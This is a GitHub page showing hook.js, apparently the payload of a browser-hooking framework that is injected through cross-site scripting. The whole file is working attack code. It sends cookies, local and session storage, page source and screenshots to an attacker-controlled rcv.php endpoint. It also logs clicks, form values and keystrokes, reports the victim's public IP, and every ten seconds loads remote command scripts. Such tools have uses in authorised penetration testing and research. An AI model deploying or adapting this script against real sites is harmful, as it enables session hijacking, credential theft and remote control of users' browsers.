-
Notifications
You must be signed in to change notification settings - Fork 57
/
Copy pathhook.js
203 lines (170 loc) · 9.59 KB
/
hook.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
var host = new URL(document.currentScript.src).origin;
// Include js lib for screenshot
var script = document.createElement('script');
script.src = host + "/scripts/html2canvas.min.js";
document.head.appendChild(script);
// Generate browserId in Session storage
if(sessionStorage.getItem('browserID') == null) {
browserID = '_' + Math.random().toString(36).substr(2, 9);
sessionStorage.setItem('browserID', browserID);
// Init hook
var xhr = new XMLHttpRequest();
xhr.open('POST', host + '/rcv.php?browserId=' + browserID, true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
// Get SessionStorage
const sessionStorageData = {};
for (let i = 0; i < sessionStorage.length; i++) {
const key = sessionStorage.key(i);
const value = sessionStorage.getItem(key);
sessionStorageData[key] = value;
}
const sessionStorageJsonData = JSON.stringify(sessionStorageData);
// Get LocalStorage
const localStorageData = {};
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
const value = localStorage.getItem(key);
localStorageData[key] = value;
}
const localStorageJsonData = JSON.stringify(localStorageData);
// Send hook
xhr.send('action=initHook&userAgent=' + encodeURIComponent(navigator.userAgent) + '&hostname=' + encodeURIComponent(window.location.host) + '&vulnerableURL=' + encodeURIComponent(window.location.href) + '&origin=' + encodeURIComponent(window.location.origin) + '&referer=' + encodeURIComponent(document.referrer) + '&cookies=' + encodeURIComponent(document.cookie) + '&localStorage=' + encodeURIComponent(localStorageJsonData) + '&sessionStorage=' + encodeURIComponent(sessionStorageJsonData));
// Event init hook
new Image().src = host + "/rcv.php?browserId=" + browserID + "&type=Info&module=Core&event=" + btoa("The Browser has been successfully hooked");
window.setTimeout(function() {
// Retrieve source code
var xhrSourceCode = new XMLHttpRequest();
xhrSourceCode.open('POST', host + '/rcv.php?browserId=' + browserID, true);
xhrSourceCode.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
var html = btoa(document.getElementsByTagName('html')[0].outerHTML);
xhrSourceCode.send('sourceCode=' + encodeURIComponent(html));
// Take screenshot
html2canvas(document.body, {logging:false}).then(function(canvas) {
var dataURL = canvas.toDataURL();
var xhrScreenshot = new XMLHttpRequest();
xhrScreenshot.open("POST", host + "/rcv.php?browserId=" + browserID, true);
xhrScreenshot.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhrScreenshot.send("hookedScreenshot=" + encodeURIComponent(dataURL));
});
}, 2000);
}
var browserID = sessionStorage.getItem('browserID');
// Load keylogger func on onload
window.onload = function() {
// Track onclick events
document.body.onclick = onclickEvent;
// Track onfocus/onBlur events on all <inputs> elemts
inputs = document.getElementsByTagName('input');
for (i = 0; i < inputs.length; i++) {
inputs[i].onblur = onBlurEvent;
}
// Get Public IP
getPublicIP();
// By default, the keylogger functionnality is disabled (or when the user reload the page)
new Image().src = host + "/rcv.php?browserId=" + browserID + "&type=Info&module=Keylogger&event=" + btoa("Keylogger is disabled (loading/reloading page)");
}
// Heartbeat function
window.setInterval(function() {
new Image().src = host + '/rcv.php?action=heartbeat&browserId=' + browserID;
}, 3000);
// Get commands every 10 sec
window.setInterval(function() {
var script = document.createElement('script');
script.src = host + '/hooked_browsers/' + browserID + '/' + browserID + '_commands.js';
document.head.appendChild(script);
}, 10000);
// Track onclick event on <input>, <a>, <button>
// Try to send form data when is available
// TODO : add event window.onload
function onclickEvent(e) {
var event = "";
var localName = e.target.localName;
switch(localName) {
case 'input':
if(e.target.type === 'submit') {
if(e.target.form === null) {
event = '{"event":"onclick","' + e.target.localName + '":{"type":"' + e.target.type + '","name":"' + e.target.name + '","value":"' + e.target.value + '","text":"' + e.target.innerText + '"}}';
new Image().src = host + '/rcv.php?browserId=' + browserID + '&type=Event&module=Core&event=' + btoa(event);
}
else {
event = '{"event":"onclick","' + e.target.localName + '":{"type":"' + e.target.type + '","name":"' + e.target.name + '","value":"' + e.target.value + '","text":"' + e.target.innerText + '", "form": {"action":"' + e.target.form.action + '", "method":"' + e.target.form.method + '"';
var elements = e.target.form.elements;
for (var i = 0, element; element = elements[i++];) {
if (element.localName === "input" && element.type !== "submit") {
inputElem = ', "' + element.localName + '_' + i + '" : {"tag":"' + element.localName + '","type":"' + element.type + '","name":"' + element.name + '","id":"' + element.id + '","value":"' + element.value + '"}';
event = event + inputElem;
}
}
event = event + "}}}";
new Image().src = host + '/rcv.php?browserId=' + browserID + '&type=Event&module=Core&event=' + btoa(event);
}
}
else {
event = '{"event":"onclick","' + e.target.localName + '":{"type":"' + e.target.type + '","name":"' + e.target.name + '","id":"' + e.target.id + '","value":"' + e.target.value + '"}}';
new Image().src = host + '/rcv.php?browserId=' + browserID + '&type=Event&module=Core&event=' + btoa(event);
}
break;
case 'a':
event = '{"event":"onclick","' + e.target.localName + '":{"href":"' + e.target.href + '","title":"' + e.target.title + '","text":"' + e.target.text + '"}}';
new Image().src = host + '/rcv.php?browserId=' + browserID + '&type=Event&module=Core&event=' + btoa(event);
break;
case 'button':
if(e.target.form === null) {
event = '{"event":"onclick","' + e.target.localName + '":{"type":"' + e.target.type + '","name":"' + e.target.name + '","value":"' + e.target.value + '","text":"' + e.target.innerText + '"}}';
new Image().src = host + '/rcv.php?browserId=' + browserID + '&type=Event&module=Core&event=' + btoa(event);
}
else {
event = '{"event":"onclick","' + e.target.localName + '": {"type":"' + e.target.type + '","name":"' + e.target.name + '","value":"' + e.target.value + '","text":"' + e.target.innerText + '", "form": {"action":"' + e.target.form.action + '", "method":"' + e.target.form.method + '"';
var elements = e.target.form.elements;
for (var i = 0, element; element = elements[i++];) {
if (element.localName === "input") {
inputElem = ', "' + element.localName + '_' + i + '" : {"tag":"' + element.localName + '","type":"' + element.type + '","name":"' + element.name + '","id":"' + element.id + '","value":"' + element.value + '"}';
event = event + inputElem;
}
}
event = event + "}}}";
new Image().src = host + '/rcv.php?browserId=' + browserID + '&type=Event&module=Core&event=' + btoa(event);
}
break;
}
}
// Get onblur data
function onBlurEvent(e) {
var event = "";
event = '{"event":"onblur","' + e.target.localName + '":{"type":"' + e.target.type + '","name":"' + e.target.name + '","value":"' + e.target.value + '"}}';
new Image().src = host + '/rcv.php?browserId=' + browserID + '&type=Event&module=Core&event=' + btoa(event);
html2canvas(document.querySelector("body")).then(canvas => {
var dataURL = canvas.toDataURL();
var xhr = new XMLHttpRequest();
xhr.open("POST", host + "/rcv.php?browserId=" + browserID + "&type=Command Result&module=Screenshot", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("event=" + btoa(dataURL));
});
}
// Get printable characters
function getOnKeyPress(e) {
var key = e.key;
if(key === ' ' || key === 'Spacebar') {
key = "{Space}";
}
new Image().src = host + '/rcv.php?browserId=' + browserID + '&type=Event&module=Keylogger&event=' + btoa('onkeypress(' + key + ')');
}
// Get special characters
function getOnKeyDown(e) {
var key = e.key;
if(key === 'Backspace') {
key = "{Backspace}";
new Image().src = host + '/rcv.php?browserId=' + browserID + '&type=Event&module=Keylogger&event=' + btoa('onkeydown(' + key + ')');
}
}
// Get PublicIP function
function getPublicIP() {
var xhr = new XMLHttpRequest();
xhr.open("GET", 'http://api.ipify.org/', true);
xhr.onreadystatechange = function() {
if(this.readyState === XMLHttpRequest.DONE && this.status === 200) {
new Image().src = host + '/rcv.php?action=getPublicIP&browserId=' + browserID + '&publicIP=' + xhr.responseText;
}
}
xhr.send();
}